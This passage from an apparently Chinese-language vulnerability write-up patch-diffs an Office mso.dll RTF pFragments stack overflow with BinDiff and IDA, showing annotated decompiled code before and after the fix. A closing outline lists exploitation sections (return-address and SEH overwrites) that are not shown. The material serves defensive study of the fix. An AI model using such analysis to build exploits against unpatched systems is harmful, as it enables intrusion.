  我这里使用的是“12.0.4518.1014”“12.0.6545.5004”进行对比。这里要吐槽一下BinDiff这个工具,分析实在是太慢了。第一次我是用的是BinDiff4.3&IDA Pro6.8进行分析,结果我电脑开了一晚上也没分析完,前一个漏洞我也是用此版本来分析的,没出现任何问题。我看了一下BinDiff的文档,看到BinDiff4.3是基于IDA SDK6.95的,会不会是因为IDA的版本低了?又看到BinDiff4.2是基于IDA SDK6.8构建的,所以就想BinDiff4.2&IDA Pro6.8的组合应该没问题了吧。开始尝试,经过一段很长的时间,我终于成功了。期间,我还试了BinDiff5&IDA Pro7.2,并未成功,测试的原因是想看看新版本会不会缩短比较的时间。由于此漏洞涉及到的模块mso.dll比较大,生成的idb都在200MB左右,所以需要较长时间,请耐心等待。BinDiff4.3&IDA Pro6.8失败的特征是,BinDiff的进度条一直在显示Diff中,但是BinDiff的进程却在生成.BinDiff文件后,占用很少的CPU,可以分析出BinDiff因为某些原因卡住了,但并未提示错误

  之前分析漏洞原因时,关键漏洞函数位于“12.0.4518.1014”mso.dllsub_32E5955E函数中,通过函数名,我们可以在Matched Functions中快速定位,找到之后,双击,就可以打开“12.0.4518.1014”mso.dllsub_32E5955E函数与“12.0.6545.5004”mso.dll中的对应函数sub_32E0239BFlowGraphs。通过对比代码块,我们可以快速定位到添加补丁代码的位置。下图是两个函数代码块的对比图:

补丁前后关键函数对比图

  我们在IDA中找到多出来的那部分代码块,对其进行详细分析。结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//补丁前关键函数关键代码
char __userpurge sub_32E5955E@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6)
{
......
if ( a6 )
{
v7 = *(_DWORD *)(sub_327A2549(*(_DWORD *)(a1 + 8)) + 100);
v17 = 0;
v8 = *(_DWORD *)v7;
v16 = 83886080;
(*(void (__stdcall **)(int, int *, int))(v8 + 28))(v7, &v15, a3);
result = sub_32E5941B(v15, a2, a5 != 0 ? (unsigned int)&v17 : 0, a6);
if ( result )
{
......
}
}
else
{
sub_32E6AEA8(863334498);
result = 0;
}
return result;
}

//补丁后关键函数关键代码
char __userpurge sub_32E0239B@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6)
{
......
if ( a6 )
{
v7 = *(_DWORD *)(sub_327DAFBD(*(_DWORD *)(a1 + 8)) + 100);// v7为关键对象首地址
v16 = 0;
v15 = 83886080;
// 这些条件则为补丁代码
if ( v7 // 关键对象首地址不为0
&& (unsigned int)(*(int (__stdcall **)(int))(*(_DWORD *)v7 + 48))(v7) <= 4// 复制数据长度不能大于4
&& (*(int (__stdcall **)(int))(*(_DWORD *)v7 + 44))(v7) > a4// 关键对象第一个成员变量>a4
&& (*(int (__stdcall **)(int))(*(_DWORD *)v7 + 44))(v7) > a3// 关键对象第一个成员变量>a3
&& a3 >= 0
&& a4 >= 0
// 将pFragments属性数据复制到栈上的虚函数
&& ((*(void (__stdcall **)(int, int *, int))(*(_DWORD *)v7 + 28))(v7, &v14, a3),
(unsigned __int8)sub_32E02258(v14, a2, a5 != 0 ? (unsigned int)&v16 : 0, a6)) )
{
......
}
else
{
result = 0;
}
}
else
{
sub_32E197A4(863334498);
result = 0;
}
return result;
}

  可以看到补丁后的关键函数中只有满足了那个关键if中的很多条件才能执行到将pFragments属性数据复制到栈上虚函数。因为涉及到了很多虚函数,只是静态分析是不行的,所以要结合动态调试确定虚函数的地址,进而分析虚函数的功能。功能我已经分析完,写在了上面代码的注释中。其中第一个条件就是判断pFragments属性数据长度的。如果pFragments属性数据大于4字节,则不再执行内存复制,直接返回,从而解决了此漏洞。

0x60 Reference

文章目录
  1. 0x00 漏洞描述
  2. 0x10 分析环境
  3. 0x20 漏洞复现
  4. 0x30 漏洞原理分析
    1. 0x31 RTF文件格式
      1. 1、RTF简介
      2. 2、RTF的组成
        1. 2.1、RTF的基本元素
        2. 2.2、RTF文件的内容
    2. 0x32 定位漏洞点
      1. 1、XP & Office2003
      2. 2、Win7&Office2007
    3. 0x33 pFragments属性数据“6;5;”的含义及其合法值
    4. 0x34 pFragments属性数据中“11111111acc8”的含义
  5. 0x40 漏洞利用
    1. 0x41 方法一:覆盖返回地址
    2. 0x42 方法二:覆盖SEH记录
      1. 1、用户态的异常处理过程
      2. 2、SEH相关数据结构
        1. 2.1、TIB结构
        2. 2.2、_EXCEPTION_REGISTRATION_RECORD结构
        3. 2.3、_EXCEPTION_RECORD结构
        4. 2.4、_CONTEXT结构
        5. 2.5、_EXCEPTION_POINTERS结构
      3. 3、计算偏移量
      4. 4、SEH劫持过程分析
    3. 0x43 Office2003和Office2007 Exploit的通用性
  6. 0x50 漏洞修复
  7. 0x60 Reference